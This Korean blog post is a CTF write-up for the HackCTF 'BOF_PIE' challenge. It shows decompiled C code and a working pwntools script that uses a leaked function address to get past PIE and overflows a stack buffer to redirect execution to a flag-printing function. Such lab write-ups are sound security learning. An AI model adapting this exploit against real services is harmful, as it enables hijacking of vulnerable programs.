본문 바로가기
시스템 해킹/CTF

[HackCTF] BOF_PIE

by L3m0n S0ju 2021. 9. 14.

 

 

 

 

void j0n9hyun()
{
  char s[40]; // [esp+4h] [ebp-34h] BYREF
  FILE *stream; // [esp+2Ch] [ebp-Ch]

  puts("ha-wi");
  stream = fopen("flag", "r");
  if ( stream )
  {
    fgets(s, 40, stream);
    fclose(stream);
    puts(s);
  }
  else
  {
    perror("flag");
  }
}

 

 

int welcome()
{
  char v1[18]; // [esp+6h] [ebp-12h] BYREF

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  puts("Hello, Do you know j0n9hyun?");
  printf("j0n9hyun is %p\n", welcome);
  return _isoc99_scanf("%s", v1);
}

 

 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  welcome();
  puts("Nah...");
  return 0;
}

 

 

 


이번 문제 역시 NX와 PIE 보호기법이 걸려있어 NX에 의해 코드가 저장되는 영역을 제외한 나머지 영역에서는 실행이 불가능하고 PIE에 의해서 바이너리의 절대주소를 알 수 없다. gdb로 분석하면 아래 정보를 알 수 있다.

 

v1 위치 -> ebp - 0x12 
j0n9hyun -> 890
welcome -> 909

 

 

 

 

 

 

 

익스플로잇 코드


#!/usr/bin/python

from pwn import *
context.log_level='debug'
r=remote("ctf.j0n9hyun.xyz",3008)
r.recvuntil("is ") # is 까지 수신
leak=int(r.recv(10),16) # welcome 함수 주소 정보
print("[+] welcome = "+hex(leak))
leak=leak-121
print("[+] j0n9hyun = "+hex(leak)) # 오프셋 차이를 통해 j0n9hyun 함수 위치 정보를 알아냄
payload=b"a"*22+p32(leak) # 22거리에 있는 welcome의 ret를 j0n9hyun 함수로 덮어씌움
r.sendline(payload)
r.interactive()

 

 

 

 


플래그

 

'시스템 해킹 > CTF' 카테고리의 다른 글

[HackCTF] RTL_ World  (0) 2021.09.19
[HackCTF] Yes or no  (0) 2021.09.14
[HackCTF] Offset  (0) 2021.09.14
[HackCTF] Simple_Overflow_ver_2  (0) 2021.09.13
[HackCTF] x64 Simple_size_BOF  (0) 2021.09.13

댓글